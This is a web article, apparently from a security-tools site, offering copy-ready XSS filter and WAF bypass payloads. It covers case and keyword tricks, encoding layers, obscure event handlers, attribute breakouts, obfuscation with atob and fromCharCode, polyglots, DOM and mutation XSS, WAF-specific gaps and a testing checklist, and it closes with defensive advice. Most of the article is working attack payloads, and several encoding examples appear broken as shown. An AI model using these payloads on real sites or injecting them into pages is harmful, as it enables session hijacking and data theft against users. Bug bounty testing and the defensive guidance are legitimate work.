XSS Filter & WAF Bypass Techniques: Real-World Payloads
Every XSS payload you fire in a bug bounty program eventually meets a filter: a server-side blocklist, a client-side sanitizer, or a full Web Application Firewall (WAF) like Cloudflare or AWS WAF sitting in front of the app. The difference between a closed report and a critical-severity payout is almost always whether you can get the same JavaScript execution past that filter. This guide is a practical, copy-ready reference to XSS filter and WAF bypass techniques — case variation, encoding tricks, alternative tags and event handlers, attribute breakouts, JavaScript obfuscation, polyglots, DOM sinks, and mutation XSS — with payloads that actually execute. If you want a broader library to draw from while testing, keep our XSS cheat sheet open in another tab.
Why XSS Filters and WAFs Fail: Blocklists vs Allowlists
Nearly every bypass in this guide exploits the same root cause: the filter uses a blocklist (deny known-bad strings like <script>, onerror, alert) instead of an allowlist (permit only known-good output through context-aware encoding). A blocklist can only block what its authors thought of. HTML, JavaScript, and the URL parser, by contrast, accept a staggering variety of equivalent syntaxes — mixed case, comments, entities, multiple encoding layers, hundreds of event handlers. The space of equivalent representations is effectively infinite, and the blocklist is always finite. That asymmetry is why a WAF is a speed bump, not a fix.
The chart above is a representative, illustrative breakdown of the bypass classes a tester typically cycles through against filtered inputs — it is not a cited study, just a sense of relative reach-for frequency. The takeaway is that no single trick dominates: you rotate through classes until one matches the reflection context and the filter's blind spot.
Case Variation and Keyword Splitting
The simplest blocklists do a literal, case-sensitive substring match for <script> or onerror. HTML tag and attribute names are case-insensitive, so mixed case sails straight through:
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
<svg OnLoAd=alert(1)>
If the filter strips the literal string <script> exactly once and non-recursively, you can nest the keyword so that removing the inner copy reassembles a valid tag — the classic keyword-splitting trick:
<scr<script>ipt>alert(1)</scr</script>ipt>
Whitespace and certain control characters between the tag name and its attributes are also valid separators in HTML — a slash, newline, tab, or form feed all work where the filter only expects a space:
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<img src=x
onerror=alert(1)>
Encoding Bypasses: Which Decoder Runs in Which Context
Encoding is the single most productive bypass class, but only if you encode for the decoder that actually runs at the reflection point. Pick the wrong layer and the payload stays inert. Here is the rule of thumb for each context.
HTML entity encoding is decoded by the HTML parser, so it works in HTML body and attribute contexts — and it is excellent for hiding a javascript: scheme inside an href:
<a href="javascript:alert(1)">x</a>
<img src=x onerror="alert(1)">
<a href="javascript:alert(1)">x</a>
URL and double-URL encoding is decoded by the server or router before your input reaches the reflection point. If a WAF inspects the raw request but the application URL-decodes once (or twice) before handling it, double-encoding hides the angle brackets from the WAF while still producing real tags after the app finishes decoding:
# single-encoded
%3Cscript%3Ealert(1)%3C%2Fscript%3E
# double-encoded (WAF sees %253C; app decodes twice to <)
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Unicode \u escapes are decoded by the JavaScript engine, so they belong inside a JS context, not raw HTML. A \u escape is valid even inside an identifier, which lets you spell out a blocked name like alert without the literal string ever appearing in source. Note that \x hex escapes are only legal inside string literals — \x61lert(1) as a bare statement is a SyntaxError, so reach for \u when escaping an identifier:
<script>alert(1)</script>
<script>window['alert'](1)</script>
Mixing layers is where filters break hardest. Chain HTML entity, URL, and unicode encoding in the right order with the encoding pipeline, and use the encode/decode tool to confirm exactly how many decode passes your target performs before you commit a payload.
Alternative Tags and Event Handlers When <script> Is Blocked
If <script> is gone entirely, you do not need it — any element that fires a JavaScript event handler works. Blocklists that enumerate onerror and onload routinely forget the long tail of handlers. Reliable, modern options:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<video><source onerror=alert(1)>
<marquee onstart=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
The <details ontoggle> and <body onpageshow> handlers are especially useful because many filters that aggressively scrub onload and onerror never added them. To brute-force tag and handler combinations against a specific filter, the XSS payload generator will enumerate them for you; for the full categorized list, see the ultimate XSS payloads guide.
Attribute Context and Breaking Out of Quotes
When your input lands inside an existing tag's attribute, you often do not need a new tag at all — you escape the quoting and inject a handler onto the current element. The right breakout depends on how the value is quoted:
# inside double-quoted attribute: value="INPUT"
"><img src=x onerror=alert(1)>
" autofocus onfocus=alert(1) x="
# inside single-quoted attribute: value='INPUT'
'><svg onload=alert(1)>
' autofocus onfocus=alert(1) x='
# inside unquoted attribute: value=INPUT
x onmouseover=alert(1)
x autofocus onfocus=alert(1)
If angle brackets are filtered but quotes are not, you can stay inside the current tag and add a handler without ever opening a new element — this defeats filters that only watch for < and >:
" onpointerover=alert(1) "
" style=animation-name:x onanimationstart=alert(1) "
JavaScript Obfuscation: fromCharCode, atob, and No-Paren Calls
When your input is already inside a JS context (or you control a handler) but the filter blocks function names, parentheses, or the literal word alert, obfuscation reconstructs the call at runtime. Build the string from char codes so no blocked keyword appears in the source:
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
Base64 hides the payload from any signature watching for alert or document.cookie — decode it with atob at runtime:
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
If parentheses are blocked, a tagged template literal calls a function without them; if the name alert is blocked, reach it dynamically off window or top (the backtick is shown as ` here — type a literal backtick when you fire it):
<script>setTimeout`alert(1)`</script>
<svg onload=top["al"+"ert"](1)>
<img src=x onerror=window[atob('YWxlcnQ=')](1)>
JSFuck-style encoding takes this to the extreme — any JavaScript can be expressed using only the six characters [ ] ( ) ! +, which slips past filters that assume code must contain letters. It is verbose but valuable against alphanumeric blocklists. The WAF encoder automates fromCharCode, base64, and unicode obfuscation so you can iterate quickly instead of hand-rolling each variant.
XSS Polyglots: One Payload That Fires Across Contexts
A polyglot is a single string engineered to break out of multiple contexts — HTML body, attribute, JS string, comment — so you can spray it at unknown reflection points without first fingerprinting the context. The classic 0xsobky-style polyglot remains effective (backticks rendered as `):
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
A shorter, dependable one for HTML-and-attribute reflections:
"><svg onload=alert(1)>//'
Polyglots trade length for coverage. They are ideal for first-pass fuzzing across many parameters; once you confirm a hit, swap in a minimal, context-specific payload for a clean proof of concept.
DOM-Based XSS and Client-Side Sink Bypasses
DOM XSS never round-trips through the server, so a server-side WAF cannot see it at all — the vulnerability lives in a client-side sink that processes attacker-controlled source data (location.hash, location.search, document.referrer, postMessage). Different sinks accept different payloads. innerHTML will not run a bare <script>, so use a self-firing element:
// sink: el.innerHTML = location.hash.slice(1)
#<img src=x onerror=alert(document.domain)>
An iframe srcdoc sink renders a full HTML document, and entity-encoding the inner markup hides it from naive string checks while the parser still decodes it:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
When the sink is an href, src, or window.location assignment, a javascript: URI executes — and case, whitespace, and entities all obfuscate the scheme:
javascript:alert(1)
javascript:alert(1)
jAvAsCrIpT:alert(1)
java%0ascript:alert(1)
Mutation XSS (mXSS)
Mutation XSS exploits the gap between what a sanitizer parses and what the browser re-parses. A sanitizer (even DOMPurify in older or misconfigured states) inspects markup, decides it is safe, and writes it back — but when the browser re-serializes and re-parses that output, the HTML parser mutates it into something executable. Constructs inside <svg>, <math>, <noscript>, or malformed attributes are common triggers because their parsing rules differ from regular HTML:
<svg><style><img src=x onerror=alert(1)></style></svg>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
mXSS is rarer and harder to find, but it bypasses sanitizers that block every technique above — always keep your sanitizer and its config on the latest version, since most known mXSS vectors are patched reactively.
WAF-Specific Tendencies
WAFs ship default rulesets tuned for common payloads; the gaps below are representative tendencies bug bounty hunters report, not absolute or permanent guarantees — every deployment is tuned differently and rules change often. Always test, never assume.
| WAF | Bypass class that commonly gets through |
|---|---|
| Cloudflare | Obscure event handlers (ontoggle, onpointerover) and heavy JS obfuscation (atob / fromCharCode) |
| AWS WAF | Double or mixed encoding and unconventional whitespace separators between tag and handler |
| Akamai | Polyglots and SVG / animation-based vectors that avoid the literal script keyword |
| ModSecurity / OWASP CRS | Lower paranoia levels miss case-split keywords and entity-encoded javascript: schemes |
Comprehensive Testing Checklist
Work this list top to bottom against every reflected, stored, and DOM-reachable parameter. Each line is copy-ready (type a literal backtick where you see `).
[ ] Baseline: <script>alert(1)</script>
[ ] Case variation: <ScRiPt>alert(1)</sCrIpT>
[ ] Keyword split: <scr<script>ipt>alert(1)</scr</script>ipt>
[ ] Whitespace var: <svg/onload=alert(1)>
[ ] Alt tag (img): <img src=x onerror=alert(1)>
[ ] Alt tag (svg): <svg onload=alert(1)>
[ ] Obscure handler: <details open ontoggle=alert(1)>
[ ] Obscure handler: <body onpageshow=alert(1)>
[ ] Attr breakout: "><img src=x onerror=alert(1)>
[ ] No-tag attr: " autofocus onfocus=alert(1) x="
[ ] HTML entities: <img src=x onerror="alert(1)">
[ ] Double URL enc: %253Cscript%253Ealert(1)%253C%252Fscript%253E
[ ] Unicode escape: <script>alert(1)</script>
[ ] fromCharCode: eval(String.fromCharCode(97,108,101,114,116,40,49,41))
[ ] eval(atob()): eval(atob('YWxlcnQoMSk='))
[ ] No-paren call: setTimeout`alert(1)`
[ ] Polyglot: "><svg onload=alert(1)>//'
[ ] javascript URI: javascript:alert(1) (in href/src/location sinks)
[ ] srcdoc sink: <iframe srcdoc="<script>alert(1)</script>">
[ ] mXSS: <svg><style><img src=x onerror=alert(1)></style></svg>
[ ] Confirm execution out-of-band (DNS/HTTP beacon) for blind XSS
Real-World Impact
A working filter bypass turns a "the WAF blocks it" non-issue into a critical finding. The severity flows directly from arbitrary JavaScript running in the victim's authenticated session:
- Session hijacking and account takeover — read
document.cookie(if notHttpOnly) or, more reliably, ride the session to perform privileged actions and reset the victim's credentials. - Token and PII theft — exfiltrate JWTs, CSRF tokens, API keys, and personal data from the DOM or local storage to an attacker-controlled endpoint.
- Worming stored XSS — a payload that survives the filter and persists (profile, comment, ticket) can self-propagate to every viewer, escalating one bug to mass compromise.
- Admin-panel pivot — blind XSS that fires in a back-office or support console hands the attacker an authenticated foothold in the highest-privilege context.
- Business impact — for the program owner this is reputational damage, regulatory exposure for leaked PII, and fraud; for the hunter it is the difference between a medium and a critical bounty tier.
Because the filter was the only control standing between the report and execution, the bypass is frequently the entire writeup — document the exact payload and the decode chain that made it fire.
Defense: Why the WAF Is a Speed Bump, Not a Fix
Everything above works because the application relied on detecting bad input instead of safely handling all input. Defenders should treat the WAF as defense-in-depth and fix the actual bug:
- Context-aware output encoding — encode on output for the exact context (HTML body, attribute, JS, URL). This is an allowlist of safe representations and neutralizes case, encoding, and obfuscation tricks at once.
- Framework auto-escaping — use React, Angular, or Vue's default escaping and never reach for
dangerouslySetInnerHTML,v-html, orbypassSecurityTrust*with user data. - A strict Content-Security-Policy — a nonce or hash-based CSP with no
unsafe-inlineblocks injected inline handlers and scripts even when a payload slips through, turning many bypasses into dead ends. - Trusted Types — lock down DOM sinks (
innerHTML,srcdoc) so unsafe assignments throw rather than execute, killing DOM and mXSS vectors at the source. - Keep sanitizers current — if you must render rich HTML, use a maintained sanitizer and update it promptly, since mXSS fixes ship reactively.
A WAF buys time and raises the noise floor, but a determined tester will eventually find a syntax it never enumerated. Fix the encoding and the CSP, and the bypasses above stop mattering. To keep practicing against filtered contexts, generate fresh variants with the XSS payload generator, layer encodings in the encoding pipeline, and obfuscate signatures with the WAF encoder — then verify each decode step in the encode/decode tool before you fire.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides